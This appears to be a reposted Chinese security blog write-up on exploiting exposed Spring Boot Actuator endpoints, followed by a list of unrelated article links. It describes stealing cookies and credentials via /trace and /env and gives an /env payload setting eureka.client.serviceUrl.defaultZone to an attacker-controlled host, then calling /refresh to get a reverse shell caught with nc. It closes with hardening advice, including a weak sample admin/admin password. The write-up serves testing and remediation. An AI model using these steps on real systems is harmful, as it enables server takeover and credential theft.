Spring Boot Actuator从未授权访问到getshell的示例分析
发布时间 - 2023-05-23 00:00:00 点击率:次前言
部门大佬在某src上挖到了这个漏洞,是一个比较老的洞了,我觉得有点意思,就动手在本地搭了个环境测试一下。
Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息,从而导致信息泄露甚至服务器被接管的事件发生。
Actuator是Spring Boot提供的一个功能模块,它可以用于自省和监控应用程序系统。The provided executor endpoints are divided into two categories: native endpoints and user-defined extension endpoints. The native endpoints main
ly include:
利用思路
利用env加refresh进行getshell
利用mappings,寻找未授权接口
利用trace,获取认证信息(Cookie、tooken、Session),利用认证信息访问接口。
env有可能泄露的数据库账号密码(mangodb),当然得开放外网,可能性较小。
老外说可以执行sql语句,目前没搞明白
漏洞发现
通常识别当前 web 应用使用的框架为 springboot 框架。主要有两个方法判断:
通过 web 应用程序网页标签的图标(favicon.ico);如果 web 应用开发者没有修改 springboot web 应用的默认图标,那么进入应用首页后可以看到如下默认的绿色小图标:
通过 springboot 框架默认报错页面;如果 web 应用开发者没有修改 springboot web 应用的默认 4xx、5xx 报错页面,那么当 web 应用程序出现 4xx、5xx 错误时,会报错如下(此处仅以 404 报错页面为例):访问一个随便构造的路径,比如:http:/172.26.2.24:8090/index,出现如下报错页面说明web网站使用了springboot框架(在实际中遇到的大多数都是此类情况)。
综合以上两个途径来判断当前 web 应用是否是 springboot 框架,就是通过访问不同的目录,看是否有小绿叶图标,然后就是想办法在不同目录下触发应用程序的 4xx 或 5xx 错误,看是否有 Whitelabel Error Page 报错。
漏洞利用
访问/trace端点获取基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等),如果存在登录用户的操作请求,可以伪造cookie进行登录。
访问/env端点获取全部环境属性,由于 actuator 会监控站点 mysql、mangodb 之类的数据库服务,所以通过监控信息有时可以mysql、mangodb 数据库信息,如果数据库正好开放在公网,那么造成的危害是巨大的,
/env端点配置不当造成RCE,
前置条件:Eureka-Client
比如测试前台json报错泄露包名就是使用netflix
需要以下两个包
spring-boot-starter-actuator(/refresh刷新配置需要)
spring-cloud-starter-netflix-eureka-client(功能依赖)
利用python3启动脚本,需要注意两个地方,一个为接收shell的ip和端口,另一个为我们脚本启动的端口,
Nc监听一个端口用以接收反弹shell,
写入配置,访问/env端点,抓包将get请求改为post请求,post内容为(该ip为脚本启动的机器的ip):
eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream
然后再访问/refresh,抓包将get请求更改为post请求,post数据随意,
然后在我们nc的窗口可以看到成功反弹了一个shell回来。
漏洞修复
作为一名安全dog,不能只挖不修,在项目的pom.xml文件下引入spring-boot-starter-security依赖
org.springframework.boot spring-boot-starter-security
然后在application.properties中开启security功能,配置访问账号密码,重启应用即可弹出。
management.security.enabled=true security.user.name=admin security.user.password=admin
禁用接口,则可设置如下(如禁用env接口):
endpoints.env.enabled= false
问题
老外说可以执行sql语句发现执行不了,可能方法没用对,截了个他的图,希望有执行成功的大佬分享下。
实际环境中,发现很多无refresh ,导致无法执行命令目前还没突破
# sql
# mysql
# spring
# spring boot
# spring cloud
# json
# include
# Cookie
# Session
# xml
# Error
# 接口
# 事件
# eureka
# 数据库
# http
# 报错
# 应用程序
# 大佬
# 可以看到
# 都是
# 是一个
# 还没
# 我觉得
# 有可能
# 不修
相关栏目:
【
网站优化151355 】
【
网络推广146373 】
【
网络技术251813 】
【
AI营销90571 】
相关推荐:
如何快速建站并高效导出源代码?
如何撰写建站申请书?关键要点有哪些?
历史网站制作软件,华为如何找回被删除的网站?
香港服务器部署网站为何提示未备案?
详解CentOS6.5 安装 MySQL5.1.71的方法
简单实现jsp分页
西安专业网站制作公司有哪些,陕西省建行官方网站?
音乐网站服务器如何优化API响应速度?
Laravel如何获取当前登录用户信息_Laravel Auth门面使用与Session用户读取【技巧】
Laravel如何集成Inertia.js与Vue/React?(安装配置)
网站建设整体流程解析,建站其实很容易!
电商网站制作多少钱一个,电子商务公司的网站制作费用计入什么科目?
Laravel如何使用Guzzle调用外部接口_Laravel发起HTTP请求与JSON数据解析【详解】
Laravel怎么处理异常_Laravel自定义异常处理与错误页面教程
edge浏览器无法安装扩展 edge浏览器插件安装失败【解决方法】
深圳网站制作的公司有哪些,dido官方网站?
Python正则表达式进阶教程_复杂匹配与分组替换解析
Laravel如何自定义分页视图?(Pagination示例)
使用spring连接及操作mongodb3.0实例
Midjourney怎么调整光影效果_Midjourney光影调整方法【指南】
深圳网站制作平台,深圳市做网站好的公司有哪些?
如何在Windows虚拟主机上快速搭建网站?
Google浏览器为什么这么卡 Google浏览器提速优化设置步骤【方法】
打造顶配客厅影院,这份100寸电视推荐名单请查收
Android Socket接口实现即时通讯实例代码
制作公司内部网站有哪些,内网如何建网站?
laravel怎么实现图片的压缩和裁剪_laravel图片压缩与裁剪方法
网站制作大概多少钱一个,做一个平台网站大概多少钱?
黑客如何利用漏洞与弱口令入侵网站服务器?
如何破解联通资金短缺导致的基站建设难题?
韩国服务器如何优化跨境访问实现高效连接?
深圳防火门网站制作公司,深圳中天明防火门怎么编码?
使用C语言编写圣诞表白程序
标题:Vue + Vuex 项目中正确使用 JWT 进行身份认证的实践指南
Laravel如何实现邮箱地址验证功能_Laravel邮件验证流程与配置
Linux后台任务运行方法_nohup与&使用技巧【技巧】
中山网站推广排名,中山信息港登录入口?
JavaScript如何实现音频处理_Web Audio API如何工作?
打开php文件提示内存不足_怎么调整php内存限制【解决方案】
原生JS实现图片轮播切换效果
长沙企业网站制作哪家好,长沙水业集团官方网站?
个人网站制作流程图片大全,个人网站如何注销?
Laravel Telescope怎么调试_使用Laravel Telescope进行应用监控与调试
Laravel如何清理系统缓存命令_Laravel清除路由配置及视图缓存的方法【总结】
如何快速生成ASP一键建站模板并优化安全性?
如何挑选最适合建站的高性能VPS主机?
如何快速查询网址的建站时间与历史轨迹?
如何快速上传自定义模板至建站之星?
如何在 Pandas 中基于一列条件计算另一列的分组均值
Laravel Asset编译怎么配置_Laravel Vite前端构建工具使用

